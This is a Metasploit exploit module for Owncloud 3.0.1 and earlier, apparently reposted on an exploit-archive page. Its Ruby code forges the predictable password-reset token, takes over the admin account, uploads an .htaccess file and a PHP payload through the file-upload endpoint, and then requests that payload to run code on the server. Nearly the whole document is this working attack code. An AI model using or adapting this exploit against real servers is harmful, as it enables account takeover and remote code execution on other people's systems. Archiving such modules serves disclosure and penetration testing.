Home / exploitsPDF  

Owncloud Account Overtake / File Upload Code Execution

Posted on 21 April 2012

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Owncloud Account Overtake, File Upload Code Execution', 'Description' => %q{ This module exploits several vulnerabilities in Owncloud 3.0.1 and earlier in order to achieve code execution. }, 'Author' => [ 'Lukas Kupczyk luks[at]sploit.de' ], 'License' => MSF_LICENSE, 'Version' => '', 'References' => [ ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Compat' => { 'ConnectionType' => 'find', }, 'Space' => 8000 }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => '', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "Owncloud directory path", "/owncloud"]), OptString.new('USERNAME', [true, "The username to authenticate as", "admin"]), OptString.new('PASSWORD', [true, "New password", "metasploit"]), ], self.class) end def password_reset res = send_request_cgi({ 'uri' => "#{datastore['URI']}/core/lostpassword/index.php", 'method' => 'POST', 'data' => 'user=' + datastore['USERNAME'], }) if res.body =~ /Requested/ print_status("Triggered password reset") else raise RuntimeError, "Error: could not trigger password reset, does the user #{datastore['USERNAME']} exist?" end end def set_new_password(token) res = send_request_cgi({ 'uri' => "#{datastore['URI']}/core/lostpassword/resetpassword.php?user=#{datastore['USERNAME']}&token=#{token}", 'method' => 'POST', 'data' => "password=#{datastore['PASSWORD']}" }) if res.body =~ /Your password was reset/ print_status("New password set") else raise RuntimeError, "Error: Could not set new password" end end def gen_token require 'digest/sha1' uniqid = Time.now.to_i.to_s(16) Digest::SHA1.hexdigest((datastore['USERNAME'].to_i + uniqid.to_i).to_s) end def login res = send_request_cgi({ 'uri' => "#{datastore['URI']}/index.php", 'method' => 'POST', 'data' => "user=#{datastore['USERNAME']}&password=#{datastore['PASSWORD']}", }) if not res["Set-Cookie"] raise RuntimeError, "Error: Login failed" else print_status("Logged in as #{datastore['USERNAME']}:#{datastore['PASSWORD']}") return res["Set-Cookie"] end end def upload(cookie, cmdscript) boundary = rand_text_alphanumeric(6) data = "--#{boundary} Content-Disposition: form-data; name="Filename" " data << ".htaccess --#{boundary}" data << " Content-Disposition: form-data; name="files[]"; filename=".htaccess" " data << "Content-Type: application/octet-stream " data << "allow from all" data << " --#{boundary}--" print_status("Uploading .htaccess") res = send_request_raw({ 'uri' => "#{datastore['URI']}/files/ajax/upload.php", 'method' => 'POST', 'data' => data, 'cookie' => cookie, 'headers' => { 'Content-Length' => data.length, 'Content-Type' => 'multipart/form-data; boundary=' + boundary, } }) if res.code != 200 print_error("Server returned non-200 status code (#{res.code})") end cmd_php = '<?php ' + payload.encoded + '?>' data = "--#{boundary} Content-Disposition: form-data; name="Filename" " data << "#{cmdscript}.php --#{boundary}" data << " Content-Disposition: form-data; name="files[]"; filename="#{cmdscript}.php" " data << "Content-Type: application/octet-stream " data << cmd_php data << " --#{boundary}--" print_status("Uploading payload") res = send_request_raw({ 'uri' => "#{datastore['URI']}/files/ajax/upload.php", 'method' => 'POST', 'data' => data, 'cookie' => cookie, 'headers' => { 'Content-Length' => data.length, 'Content-Type' => 'multipart/form-data; boundary=' + boundary, } }) if res.code != 200 print_error("Server returned non-200 status code (#{res.code})") end end def exploit token = gen_token() print_status("Generated token: #{token}") password_reset() set_new_password(token) cookie = login() cmdscript = rand_text_alpha_lower(20) upload(cookie, cmdscript) # execute our payload res = send_request_raw({ 'uri' => "#{datastore['URI']}/data/#{datastore['USERNAME']}/files/#{cmdscript}.php", }) handler end end

 

TOP